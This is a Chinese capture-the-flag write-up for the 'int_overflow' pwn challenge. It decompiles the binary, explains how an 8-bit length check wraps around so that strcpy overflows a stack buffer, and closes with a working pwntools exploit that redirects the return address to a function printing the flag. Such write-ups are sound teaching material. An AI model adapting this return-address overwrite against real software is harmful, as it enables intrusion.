file命令查看一下
int_overflow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=aaef797b1ad6698f0c629966a879b42e92de3787, not stripped
拖入IDA反编译 main函数如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch]
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}
跟踪至login
char *login()
{
char buf; // [esp+0h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]
memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check_passwd(&buf);
}
username那里可读入19个字节而后打印,后面允许输入passwd的长度高达0x199,十进制下为409。后会调用check_passwd函数来检查密码
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);
}
return result;
}
输入的passwd的长度存放在v3中,而v3的类型为unsigned _int8,即8位无符号整数,最大值为255。(从汇编的角度也可以查看v3的大小)
mov [ebp+var_9], al
al是八位寄存器,[ebp+var_9]对应的就是v3,故v3大小就是一个字节。
在check_passwd函数中发现v3的取值区间为3和8之间,发现高危函数strcpy()。但如果仅仅是这点长度肯定不能造成溢出,因为拷贝的目标参数dest有0x14的空间,绝对压不到返回地址,所以这里还要利用另一个漏洞,即整数溢出。
在IDA中发现了一个未调用的函数what_is_this
int what_is_this()
{
return system("cat flag");
}
故思路是将某函数的返回地址修改为what_is_this的地址就可以实现call flag的操作。
flag_addr = 0x0804868b #what_is_this的地址
整数溢出漏洞是什么?这里简单做一个实验
#include<iostream>
#include<climits>
using namespace std;
int main(){
int a;
a = INT_MAX; //INT_MAX就是获取int类型最大的意思,包含在climits头文件中
cout << a << endl;
}
输出很正常。当我们把a的值+1后
#include<iostream>
#include<climits>
using namespace std;
int main(){
int a;
a = INT_MAX + 1; //INT_MAX就是获取int类型最大的意思,包含在climits头文件中
cout << a << endl;
}
在linux环境下,编译器会提醒溢出,但仍然会输出a的值。
再回到题目这里,v3的最大值为255且为无符号整数,所以当s长度为256时v3=0,并且前面说过s的长度最大可以为409,所以我们输入的s长度在[3,8)区间内与在[259,264)区间内v3的值是一样的,既然大部分人都挑了262,我就挑个261叭。
不过在return之前还有一个leave操作。在字符串拷贝之前,先把拷贝的源地址和目的地址压入堆栈,这里似乎没有任何问题,查看整个函数的汇编代码,就会发现,在函数最开始,压入了 ebp 变量,在函数结尾,存在一条 leave 指令。 而在 32 位程序中,leave 指令等于
mov esp,ebp
pop ebp
两条指令的组合,也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小 4 字节,即覆盖之前还需将这 4 字节覆盖.
紧接着就要将payload填充到261位(259-263之间任选一个),根据入栈顺序,应该将填充的字符放在后面。 这里有两种方法进行填充:
#计算
payload = 'a' * 0x14 + 'a' * 4 + p32(flag_addr) + 'a'*(261-0x14-4-4)
#利用python自带的ljust方法
payload = 'a'*0x14 + 'a'*4 + p32(flag_addr)
payload = payload.ljust(261,'a')
exp如下
#coding=utf-8
#当你的exp中有中文注释的时候记得加上面这句话来指定编码
from pwn import *
r = process('./int_overflow')
#这里如果直接写process可能会出现错误提示:没有flag那个文件
flag_addr = 0x804868b
payload = 'a'*0x14 +'a'*4 + p32(flag_addr)
payload = payload.ljust(263,'a')
#或者payload = 'a'*0x14 +'a'*4 + p32(flag_addr) + 'a'*(261-0x14-4-4)
#flag_addr占四个字节
r.sendlineafter("choice:","1")
r.sendlineafter("username:","user")
r.sendlineafter("passwd:",payload)
r.interactive()